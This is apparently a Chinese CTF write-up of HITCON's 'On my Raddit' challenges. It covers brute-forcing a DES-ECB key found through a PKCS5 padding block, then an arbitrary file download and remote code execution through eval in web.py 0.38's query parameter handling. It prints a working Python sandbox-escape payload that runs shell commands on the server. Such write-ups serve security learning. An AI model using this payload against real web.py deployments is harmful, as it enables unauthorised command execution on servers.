On my Raddit
orange 大大出的这个题与其放在 Web 里,不如放在 Crypto 里。这里说一下比赛时的思路。
打开题目:
flag 是加密密钥,而 hint
提示加密密钥是小写字母
。还有一个P
的提示。
查看一波源码:
可以看到都是?s=密文
的形式。网页提供了一个页面显示多少文章的选项,我们关注一下这块的源码:
可以看到两个密文前 64bit是一样的,后 64bit 不同,可以推断 64 bit 应该是一个分组,而且明文应该是salt+number
的形式,salt 相同导致第一段密文相同。
接着我开始分析下面的链接的密文,起初我的想法是分析密文长度,根据密文长度和文章名的长度来推测 salt 的格式(文章名字越长密文越长),但是这个 salt 格式推了半天发现也没有卵用。
这个题不同于一般的密码题,一般都是要还原明文,这里 flag 是密钥,知道了明文也没用。
陷入了瓶颈,想找源码泄露找不到,扫一波目录还把我 ip ban了一会…
可用信息看来就这么多。想起提示密钥是小写字母,无疑缩小范围。如果不给这个提示,2^56
我绝对爆破不出来,既然给了这个提示,所以我的思路就是爆破。
通过分组长度是 64bit可以推测加密算法应该是 DES,常用的应该也就 DES 分块是 64 bit。接下来需要找到明密文对,我源代码里搜寻了一下 limit=10 的链接密文后 64bit:3ca92540eb2d0a42 结果发现了点东西:
发现竟然有 18 处这个密文! 仔细观察发现都在末尾!!
豁然开朗,看来这是 ECB 模式的 DES,这么多相同的密文绝不是巧合,一定是相同的明文。相同的明文都在而且都在最后,显然是 Padding 的时候,如果明文长度正好是分块的长度。假设分块长度是 8 字节,那么这种情况下会补8个08
字节。详细的请看下PKCS5
填充规则。想起了提示 P 应该就是提示 Padding 。
这八个 08 字节加密的密文都是 3ca92540eb2d0a42,所以有 18 处这块密文。
找到了明密文对,直接开始爆破的话,那就是26^8
,我计算了一下是 2^38
,我觉得是爆不出来…
想到了 DES 实际可用的密钥只有 56 bit,比如第一个字节是’b’,那么密钥前八位是 01100010
,注意这里最后一位的 0 没有作用,在 DES 中每个字节的最后一位时被丢弃的,也就是说第一个字节用 b 加密和用 c 加密没有区别。
这样的话,b 和 c 效果一样,d 和 e 效果一样,也就是我们只需要13^8==2^30
步就可以遍历完,直接爆破:
(脚本很丑,而且单线程)
1 | # _*_ coding:utf-8 _*_ |
5 点多开始跑,跑到8点多结束了… 打印出来的 key 是:megooaso
,注意这不是真正的密钥,除去 a,剩下的都有和它相邻字符等价效果的,没办法我想把所以字符串打出来,看看哪个像个单词:
1 | # _*_ coding:utf-8 _*_ |
挨个看发现没有像单词的… l 开头的应该不是,m 开头的试了试,最终megnnaro
是 flag。
hitcon{megnnaro}
另外看了 orange 的解答才发现用 hashcat 秒解… 但是我的 hashcat 不知怎么回事用不了,照着师傅们的命令执行都不行orz。有成功使用 hashcat 解出来的师傅可以联系一下我给我指点一波…还有的师傅找到了别的明密文对,只能说 tql ,对着这一大串能猜出另外的明密文对。 orange 题解中说用 python 单线程 10 min跑完,不知道这个 10 min 怎么来的…我跑了快三个小时。
这个题的第二关 On my Raddit V2 题目说是 getshell,一样的环境。有了密钥我就可以把那些密文都解出来,解出来那些只是些没有用的东西:u=70c97cc1-079f-4d01-8798-f36925ec1fd7&m=r&t=Ghostbuster%3A+Detecting+the+Presence+of+Hidden+Eavesdroppers+%5Bpdf%5D
不过题目有个下载文件的地方:
把那个链接解密一下:m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf
应该可以任意下载文件,根据 hint.py 可以推断这是 python 写的,那么下载一波 app.py。
1 | m=d&f=app.py 加密得到e2272b36277c708bc21066647bc214b8 |
可以下到app.py:
1 | # coding: UTF-8 |
其实之后才了解到,orange 的本意是拿到了一个等效密钥,然后就去读到源码,这样就能看到密钥了。这句提示:
当时没有注意到…就去穷举试了 (不敢写提交 flag 的脚本怕被 ban)
On my Raddit V2(复现)
web.py 审不动… 跟着师傅们复现了一波。
赛后跟 Nu1l 和 TD 的师傅请教了一波,师傅甩出的链接:https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/
,看了半天也不知道和此题联系在哪。
才得知这题要追 web.py 的源码。
除了上面下的 app.py,还要下一个 requirements.txt
文档
1 | encrypt("m=d&f=requirements.txt") -> fc3769d67641424d59387bf7f393b4e4d0acd96cd08fe232 |
发现 web.py 版本是 0.38,所以这个链接的洞还没有修彻底。
开始看链接与题联系不到一起,之后才知道要追 web.py 源码。在 app.py 中这句代码:
去追这个 limit:
发现代入了查询里,限制查询出的结果数。
追 web.py 的源码,也就是 db.select
函数,就能追到链接的地方:
1 | def reparam(string_, dictionary): |
文中说了 The entry points to reparam() are functions _where(), query(), and gen_clause()
query() 对应的就是此题的 db.select
,这里看到了非常显眼的 eval。
根据链接中的方法构造 payload:
1 | import urllib |
看看根目录有啥东西,这里没有回显所以我们把执行结果写入文件再去下载:
执行结果:
1 | d65ae2bb276bdf2f82e5ca0761781060ba0fcf988b736644cad7a2d2573b2a14c1b40eb540be086f3aa5f06aca4d6711fda9a6f7c2c02a1ab2f85c12c3e7dea5a9c2c8651bb6f693428382a9bad41786fd02051f7cfeb780a84ffa34580feb1a50cc07436f62822e6ac2317036d4928833716d46e3c45e026435ca0c4c2720eab52bdd0761d538f8d5a5b977e3cea74591e1d2322b3d28c8c55ec1158e6ab8a6db604049da47bab499c188967f1429e4766afbc74000e282c325980adf54fe049dedb22857cad08805ac90492fb40f443d734e28b8700a935b1d479a042f03548a35227ec717b2b5bee3bac58d5ae4add21bdbd2653d63691ca068a2bd875b32f132007c8a1d5e7c12cd963db7c487ddafb51c16b96b4757 |
挨个访问,下载到 ls 的命令结果:
看到了 read_flag
,执行这个应该就可以得到 flag,修改payload:
1 | print encrypt(urllib.urlencode({'m': 'p', 'l': "${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('/read_flag > /tmp/gml.txt'))()}"})) |
结果:
1 | d65ae2bb276bdf2f82e5ca0761781060ba0fcf988b736644cad7a2d2573b2a14c1b40eb540be086f3aa5f06aca4d6711fda9a6f7c2c02a1ab2f85c12c3e7dea5a9c2c8651bb6f693428382a9bad41786fd02051f7cfeb780a84ffa34580feb1a50cc07436f62822e6ac2317036d4928833716d46e3c45e026435ca0c4c2720eab52bdd0761d538f8d5a5b977e3cea74591e1d2322b3d28c8c55ec1158e6ab8a6db604049da47bab499c188967f1429e4766afbc74000e282c325980adf54fe049dedb22857cad08805ac90492fb40f443d734e28b8700a935b1d479a042f03548a35227ec717b2b543324bca0702d4140e4bdc4c1ebe0ea54e28b1ed72c5f16ec1f8c82e7f139f375a806b6212666f872dfbb2d1031b37ca9e581b6f767797bd |
挨个访问,可以得到 flag:
hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}
参考: